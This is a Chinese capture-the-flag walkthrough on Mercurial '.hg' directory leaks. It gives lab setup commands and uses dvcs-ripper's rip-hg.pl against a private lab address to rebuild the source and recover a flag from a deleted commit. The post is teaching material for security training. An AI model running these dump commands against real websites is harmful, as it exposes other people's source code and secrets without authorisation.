hg
命名,所有操作皆以 hg <action>
的指令型式来完成,因此 Mercurial 也时常被直接简称 hg。维基百科参考资料:https://zh.wikipedia.org/wiki/Mercurial
在利用 hg init
建立 repository 时,会在专案目录中生成 .hg
资料夹,资料夹中纪录着专案的版本资料,若不慎将 .hg
目录公开,骇客便可以 dump 其中的内容,将专案原始码重建,因而称为 HG 泄漏。
./rip-hg.pl -v -u <网址/.hg/>
ls -al
cat <找到的 flag 档案>
./rip-hg.pl -v -u <网址/.hg/>
hg log
hg update -r <changeset 的版本>
ls -al
cat <找到的档案>
题目建置
# Install Mercurial (HG)
sudo apt install mercurial
# Edit username
hg config --edit
# Create Repository
REPO="/var/www/html/hg_1"
sudo mkdir "$REPO" && sudo chown -R "$(whoami)" "$REPO" && cd "$REPO"
hg init
# Add Flag
tee index.php <<EOF
<?php \$flag = 'FLAG{OAO+O3O-O_o}'; ?>
You cannot see me!
EOF
hg add index.php
hg commit -m "Add Flag"
解题
在网页服务器发现 .hg
目录的存在。
下载 dvcs-ripper
# Install Tool Dependencies
sudo apt-get install mercurial perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
# Download Tool
git clone https://github.com/kost/dvcs-ripper.git
.hg
,得到原始码# Dump
mkdir dump && cd dump
../dvcs-ripper/rip-hg.pl -v -u http://172.16.28.2/hg_1/.hg
# Show flag
cat index.php
题目建置
# Create Repository
REPO="/var/www/html/hg_2"
sudo mkdir "$REPO" && sudo chown -R "$(whoami)" "$REPO" && cd "$REPO"
hg init
# Add Flag
tee index.php <<EOF
<?php \$flag = 'FLAG{OAO+O3O-O_o}'; ?>
You cannot see me!
EOF
hg add index.php
hg commit -m "Add Flag"
# Delete Flag
echo 'No flag anymore' > index.php
hg commit -m "Remove Flag"
解题
.hg
# Dump
mkdir dump && cd dump
../dvcs-ripper/rip-hg.pl -v -u http://172.16.28.2/hg_2/.hg
# Show Log
hg log
# Revert old version
hg update -r 0
# Show flag
cat index.php
<<: Day4:有时遇到M365茶包射击(Troubleshooting)没灵感时该如何下手
>>: # Day 9 Cache and TLB Flushing Under Linux (一)
针对个人资料的定义在个人资料保护法第2条就有做很详细的说明,欧洲的GDPR也有规定「个人资料」是指与...
Leetcode #207. Course Schedule 题目给你一系列的课程,每一个门课都有它...
Hostinger网域供应商跟Godaddy类似,除了提供Domain( Domain Name )...
区区的30篇文章是无法满足我的,继续写~~ 忘记是从哪一年开始,响厚牛排推出寿星优惠方案,当月寿星来...
任务之间是可以相互通信的,通信的方式,有时是以信号、资料为中心的方式通信,或者结合信号与资料的作为通...